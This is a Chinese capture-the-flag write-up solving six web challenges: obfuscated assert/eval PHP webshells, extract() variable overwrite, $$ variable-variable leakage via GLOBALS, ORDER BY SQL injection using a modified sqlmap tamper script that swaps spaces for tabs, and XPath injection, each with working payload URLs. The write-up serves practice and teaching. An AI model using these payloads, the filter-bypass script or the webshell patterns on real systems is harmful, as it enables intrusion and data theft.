month 2 for cnas writeup

点击阅读全文

01 50

题目链接

http://47.100.121.220:28001/01.php

解答

题目又是大写又是小写的,格式乱乱的,强迫症患了。

整理下代码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__file__);
highlight_file('about.php');
?>
<?php $k=str_replace('`','','a`s`s`e`r`t');
$m=$_POST[m];
if($m==null)
header('status:404');
else/**/
$k($m);
?>

这里的highlight_file在这里的作用就是读取文件代码的,下面是about.php的源码

看about的源码这里可以看出m的值为assert

最后的就相当于执行\$assert(\$m),assert()执行代码。

传入system()函数来读取文件即可。

02 50

题目链接

http://47.100.121.220:28002/02.php

解答

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
highlight_file('about.php');
?> <?php
$YT="\x61\x73\x73\x65\x72\x74";
$TH="\x80\xD3\xCB\x85\x9E\xB4\xB7\xCF\xD8\xBB\xCB\xCC\xD8\xE7\xA3\xD9\xC2\xBE\xAC";
$TU="\xE5\xA5\xAA\xE9\xB6\x90\xE8\x9F\x97\xE8\x9F\x97\xE8\x9F\x97\xE8\x9F\x97\x97";
@$YT($TH^$TU);
?>

这个题目也有highlight_file函数也是用来读about的源码

这里我们可以直接测试输出这三个变量

1
2
3
4
5
6
7
<?php
$YT="\x61\x73\x73\x65\x72\x74";
$TH="\x80\xD3\xCB\x85\x9E\xB4\xB7\xCF\xD8\xBB\xCB\xCC\xD8\xE7\xA3\xD9\xC2\xBE\xAC";
$TU="\xE5\xA5\xAA\xE9\xB6\x90\xE8\x9F\x97\xE8\x9F\x97\xE8\x9F\x97\xE8\x9F\x97\x97";
echo $YT;
echo $TH^$TU;
?>

代码运行得到

\$YT=assert

\$TH^\$TUeval($_POST[0x41]);

0x41是十六进制数,表示的字符是大写字符A,A的ASCII码为65

这里我用A传参是穿不进去的,用0x41也不行。但是用65可以成功传参

同样传入system函数执行命令

gift 100

题目链接

http://47.100.121.220:28003/

解答

右键查看源码可以发现备份文件gift.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$flag='xxx';
extract($_GET);
if(isset($gift))
{
$content=trim(file_get_contents($flag));
if($gift==$content)
{
echo'flag{...}';
}
else
{
echo'Oh..';
}
}
?>

代码如上,这里考到一个变量覆盖的问题。

题目使用了extract(\$_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()对变量进行覆盖,从而满足各个条件。

GET请求 ?flag=\&gift=,extract()会将\$flag和\$gift的值覆盖了,将变量的值设置为空或者不存在的文件就满足\$gift == \$content。

payload

1
http://47.100.121.220:28003/gift.php?flag=&gift=

variable 100

题目链接

http://47.100.121.220:28004

解答

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
include "flag.php";
$s = "You can not get the flag!</br>";
echo $s;
show_source(__FILE__);
if(isset($_GET['a'])) {
$args = $_GET['a'];
if(!preg_match("/^\w+$/",$args)) {
die("error!");
}
eval("var_dump($$args);");
}
?>

看代码可以看出我们需要去读flag.php里的变量flag,

这里变量可以用\$\$这种方式来传入我们的变量a通过var_dump函数来读取

传入flag是行不通的,flag.php中的存有flag的变量名并不是flag。

但是我们可以传入GLOBALS

\$GLOBALS是PHP中的全局变量,用来储存全局作用域中的变量

所以payload如下,得到flag

1
http://47.100.121.220:28004/04.php?a=GLOBALS

price 100

题目链接

http://47.100.121.220:28005

解答

这个题目纠结了很久,对order by 注入是不熟悉的,这里我找到了一篇关于order by注入的文章

Mysql Order By 注入总结

但是这里看的还是有些不懂的,不知道具体怎么去读取数据库的flag。

从文章里看出order by 注入是可以直接用sqlmap来跑的

但是测试可以发现,题目过滤空格和加号的,但是我还是不想手注,

想用sqlmap只能直接写个tamper了,tamper原来里面是有把空格变换成加号的脚本的。

但是这里加号也是过滤了的,我们只需要把tamper里的space2plus.py修改一下即可。

这里我们可以用%09来绕过

tamper 代码具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%09"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "%09"
continue
retVal += payload[i]
return retVal

这里我们用这个脚本就能跑sqlmap了

hello 100

题目链接

http://47.100.121.220:28006

解答

这个题拿到手是没有什么思路的,

但是做题之前之前习惯用burpsuit抓个包,利用scan扫一下的。

发现提示存在xpath注入

这里的payload还爆出了三个类似用户名的信息

这个是HCTF 2015的一个原题,题目的把用户名改了

但是burpsuit已经帮我爆出了用户名。

修改下writeup的payload就可以得到flag了

具体的等考完试,看看xpath注入的内容结合题目源码去理解原理。

payload

1
http://47.100.121.220:28006/06.php?name=nari%27]|//*|user[user=%27ctfer